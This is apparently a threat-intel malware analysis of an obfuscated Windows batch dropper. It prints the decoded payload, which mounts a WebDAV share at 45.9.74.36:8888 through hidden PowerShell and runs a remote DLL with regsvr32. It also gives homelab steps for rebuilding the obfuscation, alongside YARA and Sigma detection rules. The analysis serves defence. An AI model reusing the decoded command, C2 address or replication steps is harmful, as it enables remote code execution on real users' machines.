unclassified-js-webdav-dropper: f170f5a9 — Seventh sibling, natural-language SET obfuscation, WebDAV C2 45.9.74.36:8888

Executive Summary

A 16.7 KB Windows batch script (560023253270303301.bat) from the unclassified-js-webdav-dropper family. Uses the same natural-language SET variable-expansion obfuscation dialect as siblings ffd5d894 and e9e82d14, the same 45.9.74.36:8888 WebDAV C2, and the same regsvr32 /s execution chain. The only delta is the payload DLL name (223191424010705.dll) and the junk prose filler. Seventh confirmed sibling; no new TTPs.

What It Is

• Filename: 560023253270303301.bat ^[metadata.json]
• Size: 16,673 bytes ^[file.txt]
• Type: ASCII text, CRLF line terminators, very long lines (2,396 chars) ^[file.txt]
• Family: unclassified-js-webdav-dropper — seventh confirmed sibling. ^[triage.json]
• Build: Pure batch; no compiler, no packer, no signing. Hand-written obfuscation.

How It Works

Layer 1 — Junk prose + GOTO gate (lines 1–32)

The script opens with goto puffy to skip 31 lines of meaningless English prose. The prose serves no function; it is static anti-triage padding to inflate file size and dilute signal. ^[strings.txt:1-32]

Layer 2 — SET variable expansion (lines 33–34)

A single chained set line defines 36 environment variables with long English-phrase names (e.g. punishmentsupposetrust=7, tickkindimpartial=i). These map to the characters needed to assemble the payload command. This is the same natural-language dialect observed in siblings ffd5d894 and e9e82d14. ^[strings.txt:33-34]

Layer 3 — Decoded payload (lines 35–37)

Batch variable expansion reassembles the hidden command:

color f0
start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\223191424010705.dll
exit

The color f0 console-clear and wordpad decoy are identical to sibling ffd5d894. ^[strings.txt:35-37]

Layer 4 — More junk prose (lines 38–225)

Post-exit padding of 187 additional lines of random English words. No functional purpose. ^[strings.txt:38-225]

Decompiled Behavior

Not applicable — the sample is a plain-text batch script. No binary disassembly or decompilation required.

C2 Infrastructure

Same 45.9.74.0/24 subnet as siblings da58243c (45.9.74.13), ffd5d894 (45.9.74.36), e777fd64 (45.9.74.32), and e9e82d14 (45.9.74.36). No DNS resolution, no TLS, no user-agent. Infrastructure is consistent with a shared VPS or bulletproof host.

Interesting Tidbits

• Identical C2, rotated payload name. The DLL name 223191424010705.dll is a 15-digit numeric throwaway, matching the pattern of siblings (24013635923706.dll, 231502634512294.dll, 67.dll, 3682.dll, 1995.dll). The length suggests automated or semi-automated generation rather than manual naming. ^[strings.txt:35]
• Natural-language variable names are stable. The 36-variable dialect uses the same naming style (full English phrases) as ffd5d894 and e9e82d14, but the specific phrases are unique to this sample. This indicates a common generator or copy-paste template with randomized filler. ^[strings.txt:33-34]
• No polyglot layer. Unlike da58243c and e6ebae6a, this variant is pure batch — no JScript wrapper, no Function('return this')() constructor, no WScript self-replication. This simplifies execution but also reduces the file-extension masquerade options (it relies on the .bat extension being opened by the user). ^[triage.json]
• No persistence. One-shot execution; no registry, scheduled task, or startup folder modification. The threat assumes the user will re-execute the lure document or the actor will deliver a fresh dropper. ^[dynamic-analysis.md]
• CAPE skipped. Text files are not detonated by the sandbox. All behavior is inferred statically and matches the known family pattern with high confidence. ^[dynamic-analysis.md]

How To Mess With It (Homelab Replication)

1. Reproduce the obfuscation: Write a batch file that defines 30–40 SET variables with random English phrases, each mapping to a single character or digit. Reassemble a command like net use \\<ip>@8888\davwwwroot\ via %VAR1%%VAR2%... expansion.
2. Add decoy: Prefix with color f0 and start wordpad to clear the console and launch a benign app.
3. Test in a Windows VM: Double-click the .bat file. Observe wordpad.exe spawning, then powershell.exe -windowstyle hidden followed by regsvr32.exe with a UNC path.
4. Verify with Process Monitor: Confirm the process tree and the UNC path in regsvr32 command line.
5. What you'll learn: How trivially SET expansion defeats naive string extraction, and how EDRs behave (or don't) when regsvr32 loads a DLL from a WebDAV share.

Deployable Signatures

YARA

rule UnclassifiedWebDAVDropper_BatchNaturalLanguage
{
    meta:
        description = "Batch WebDAV dropper with natural-language SET variable expansion and regsvr32 /s UNC execution"
        author = "PacketPursuit SOC"
        reference = "raw/analyses/f170f5a93ff750cf93f0b22bcb0b67ef69da616cce709e84d05aea7cea562edd"
        date = "2026-06-19"
    strings:
        $net_use = "net use \\" nocase
        $dav = "davwwwroot" nocase
        $regsvr = "regsvr32 /s" nocase
        $set1 = "set " nocase
        $set2 = "&&set " nocase
        $pwsh_hidden = "powershell.exe -windowstyle hidden" nocase
    condition:
        filesize < 50KB and
        #set1 > 20 and
        $dav and
        $regsvr and
        $net_use
}

Sigma

title: WebDAV Batch Dropper Execution
status: experimental
description: Detects batch scripts spawning powershell.exe with net use DavWWWRoot and regsvr32 /s loading a remote DLL
logsource:
    category: process_creation
    product: windows
detection:
    selection_powershell:
        CommandLine|contains:
            - 'net use'
            - 'davwwwroot'
    selection_regsvr32:
        CommandLine|contains:
            - 'regsvr32'
            - '\\'
            - '.dll'
    selection_parent:
        ParentImage|endswith: '\cmd.exe'
        ParentCommandLine|contains: '.bat'
    condition: selection_parent and (selection_powershell or selection_regsvr32)
falsepositives:
    - Rare legitimate administrative scripts
level: high

IOC List

Behavioral Fingerprint

This batch script defines 20+ environment variables with English-phrase names, expands them into a single command line, clears the console with color f0, launches WordPad as a decoy, then spawns powershell.exe -windowstyle hidden to mount a WebDAV share via net use and immediately calls regsvr32 /s against a numeric .dll file on that share. No persistence, no sandbox checks, no network indicators beyond the raw IP.

Detection Signatures

References

• Entity page: unclassified-js-webdav-dropper
• Technique page: webdav-regsvr32-dll-sideloading
• Sibling analysis: ffd5d894 — same obfuscation dialect, same C2 ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]
• Sibling analysis: e9e82d14 — fifth sibling, same dialect ^[/intel/analyses/e9e82d14538b830fe0b04aeaa4f1c07eed6fb38187d915bb18112b18fc98c1fe.html]

Provenance

Analysis based on static files in raw/analyses/f170f5a93ff750cf93f0b22bcb0b67ef69da616cce709e84d05aea7cea562edd/: strings.txt (verbatim batch payload), file.txt (file type), metadata.json (filename/size), triage.json (family/tier), dynamic-analysis.md (CAPE skip note). Decoded via Python SET-expansion parser. No Ghidra/radare2 run required (text script). No CAPE detonation (text file).